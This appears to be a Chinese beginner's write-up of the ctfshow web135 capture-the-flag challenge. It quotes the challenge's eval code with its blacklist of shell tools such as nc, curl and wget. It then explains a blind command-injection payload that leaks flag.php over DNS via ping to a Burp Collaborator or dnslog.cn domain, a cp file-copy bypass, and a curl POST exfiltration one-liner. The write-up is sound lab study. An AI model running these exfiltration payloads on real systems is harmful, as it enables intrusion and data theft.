当前位置: 首页 > news >正文

ctfshow-web135

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(本题为web133的进阶版,基本过程可见ctfshow-web133)

一:增强过滤

打开靶场,可以看到正则里又过滤了好多东西:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

其中,这里就有我们之前用的curl,说明这里HTTP 外带(主动把文件内容 POST 到外部服务器)不适用,那么我们就可以换成DNS 外带(把数据拼接到域名里,通过 DNS 解析请求把数据发送出去)。这种方式的最大优势是绕开很多环境限制(比如没有curl/wget、服务器禁止出站 HTTP 请求,但 DNS 请求通常不会被禁)。

二:具体构造

还是一样,先给出我们的payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.a8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.总体结构

最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容。

+号是 URL 中空格的编码形式,其中更为常见的是%20,URL中空格是不允许直接出现的,所以这里就用+来表示一下;而ping是Linux 的网络测试命令,在这里的核心作用是触发 DNS 请求:

  • 当执行ping xxx.oastify.com时,操作系统会先向 DNS 服务器发送请求,查询xxx.oastify.com的 IP 地址(这就是 DNS 解析)。
  • xxx正是我们从flag.php中提取的 flag 内容,这样 DNS 服务器就会记录下这个包含 flag 的域名请求,我们就能在 oastify 平台上看到 flag 了。

后面的就是提取flag的核心命令了

2.核心命令

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.coma8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.nl flag.php:给文件的每一行添加行号

  • nl:是number lines的缩写,中文叫 “行号打印命令”,作用是读取文件内容,给每一行加上行号 + 空格后输出。
  • 为什么用nl:因为 CTF 中flag.php里的 flag 通常在某一行固定位置(比如第 15 行),加行号后才能用后续命令精准定位行号。

(注意这里的flag的行数是要自己一一试出来的,可以在BP里的Reapeater更改)

2.awk 'NR==15':只提取第 15 行的内容

  • awk:是 Linux 中处理文本的核心工具,能按行、按列解析文本内容,功能非常强大
  • NR:是awk的内置变量,代表当前处理的行号(Number of Record)。
  • NR==15:是awk的条件判断,意思是 “只处理行号等于 15 的那一行,其他行都忽略”

3.tr -cd 'a-zA-Z0-9-':过滤掉非指定的字符

  • tr:是translate的缩写,中文叫 “字符转换 / 过滤命令”,主要用来替换、删除文本中的字符
  • -c:全称--complement,意思是 “取反”,即匹配不在指定字符集中的字符
  • -d:全称--delete,意思是 “删除”,即删除匹配到的字符。
  • 'a-zA-Z0-9-':指定的字符集,包括:
    • -:短横线(DNS 域名允许包含短横线)
    • 0-9:数字
    • A-Z:大写字母
    • a-z:小写字母
  • 组合起来的意思:删除所有不在a-zA-Z0-9-范围内的字符,只保留这个范围内的字符

4.域名

最后的域名是DNS 数据收集平台分配的专属子域名,由 “唯一随机前缀 + 平台主域名” 组成。

这个域名的核心作用是作为 DNS 请求的目标,让平台记录包含 flag 内容的域名请求

三:获取flag

我们先将我们的payload直接在hackbar里输入,这样后面转到BP里空格和反引号会自动转码,避免兼容性问题。【开代理之后直接execute即可】:

然后我们发送到repeater模块,直接send:

然后我们就可以在collaborator模块里看到部分flag内容:

(这里没有大括号是因为我们把除了数字和字母以外的字符都去掉了,但是不知道为什么字母有大写有小写的,希望知道的师傅能帮我解惑)

注意这里我们找到的只是部分flag【提取的是第15行的内容】,因此后面NR还要改成16,得到第二部分flag如下:

我们将flag进行拼接就可以了,但是总不可能说我将大写字母一个一个都改成小写字母吧,那样还是太吃操作了,所以这时候编程就有大用处了,写一个简单的python转换大小写字母就可以了:

string.lower()就是将大写字母转成小写字母,最后再加上我们的大括号,得到最终flag就可以了。


四:其他方法

看来其他师傅的wp,说也能用cp 和mv来绕过过滤:

?F=`$F`; cp flag.php 2.txt

后面再改成2.txt读取一下就行了:

然后我想着web133是不是也可以用这个方法去做,然后去试了一下,发现没用,可能是文件权限问题或者文件访问限制等,总之也算是拓展一下视野吧。

还有一个是大菜鸡师傅用的是DNSlog,看视频里构造的payload是这样的:

?F=`$F`;ping `nl flag.php|awk 'NR==15'|tr -cd 'a-z0-9-'`.2mseu1.dnslog.cn -c 1

-cping命令的一个核心参数,全称是count(计数),作用是指定ping命令发送的数据包数量

  • ping -c 1 域名/IP:表示只给目标域名 / IP发送 1 个 ping 数据包,发送完成后,ping命令就会立即终止。
  • 如果不加-c参数,在 Linux 系统中,ping命令会一直持续发送数据包(直到按Ctrl+C手动终止)

但是不知道为什么我做不出来,

一直没有显示,希望有知道的师傅能解惑(大菜鸡师傅说网站有问题)

五:结语

通过这道题我们了解了DNS外带:

  • 将处理后的字符串作为子域名
  • 通过ping触发DNS解析请求
  • 在DNS日志平台查看请求记录获取flag

以及通过尝试行号找到flag在哪里,最后则是不同环境下对权限的限制【还是BurpSuite好用】

面对无回显(Blind)漏洞,获取数据的核心思路是:想尽办法让目标服务器主动“告诉”我们。

战术总结

1. 首选:HTTP带外(OOB-HTTP)

· 条件:目标服务器能出网,且有curl、wget等工具。

· 方法:用curl -X POST -F file=@/flag http://your-server将文件内容POST到你的监听服务器。

· 工具:Burp Collaborator、nc监听、公网VPS。

2. 次选:DNS带外(OOB-DNS)

· 条件:HTTP被禁,但DNS解析通常被放过。

· 方法:将数据作为子域名的一部分,通过ping或nslookup触发DNS查询。

· 工具:Burp Collaborator、DNSLog.cn。

3. 备选:时间盲注(Time-Based)

· 条件:完全不出网。

· 方法:通过命令执行的延时(sleep 5)来逐位推断数据,极其缓慢。

选择原则:优先尝试DNS,因为它限制最少;如果不成功,再尝试HTTP。

http://www.jsqmd.com/news/102199/

相关文章:

  • LobeChat能否实现错别字智能纠正?中文写作润色专家
  • LobeChat政务问答系统定制化改造建议
  • LobeChat能否实现AI风筝匠?传统手工艺复兴与飞行性能优化
  • 原子指标计算实现方案详解 | qData 数据中台商业版 · 指标平台
  • Cordova与OpenHarmony其他运动类型支持
  • 数据中心网络20年精髓设计实战:从机房到云端架构蜕变
  • Cordova与OpenHarmony运动目标管理系统
  • LobeChat能否用于生成SQL语句?数据库操作辅助工具
  • LobeChat能否集成地震预警?灾害应急响应智能通知系统
  • 敏捷开发站会纪要:LobeChat自动总结进度
  • LobeChat能否对接Microsoft Teams?企业通讯软件集成
  • LobeChat年度总结报告生成器
  • 第六十二篇-ComfyUI+V100-32G+代码运行Z-Image
  • LobeChat日志记录功能开启方法:便于后续分析与审计
  • LobeChat安全策略解读:保障数据不出内网的关键设置
  • 大数据领域 ClickHouse 的资源管理策略
  • 统计概览-Cordovaopenharmony多维度数据展示
  • LobeChat WebSocket通信机制剖析:实时对话是如何实现的?
  • LobeChat能否对接Google Sheets?电子表格自动化更新
  • 文件上传+多模态处理:LobeChat如何玩转文档理解
  • Audacity音频处理指令由LobeChat智能生成
  • Java 25 (LTS) 重磅发布:AI、性能、安全全面革新,新手入门门槛再创新低!
  • LobeChat儿童节亲子活动策划
  • 超详细图文教程:Windows环境部署LobeChat全过程
  • 深入研究大数据领域的数据清洗技术应用
  • 数据编目与元数据管理:不可不知的关系
  • 彼得林奇的“反向思维“在牛市中的应用
  • LobeChat能否对接Tesla API?车辆状态查询与远程控制
  • LobeChat能否实现股票行情查询?金融信息问答机器人
  • 跨越城市的求知之约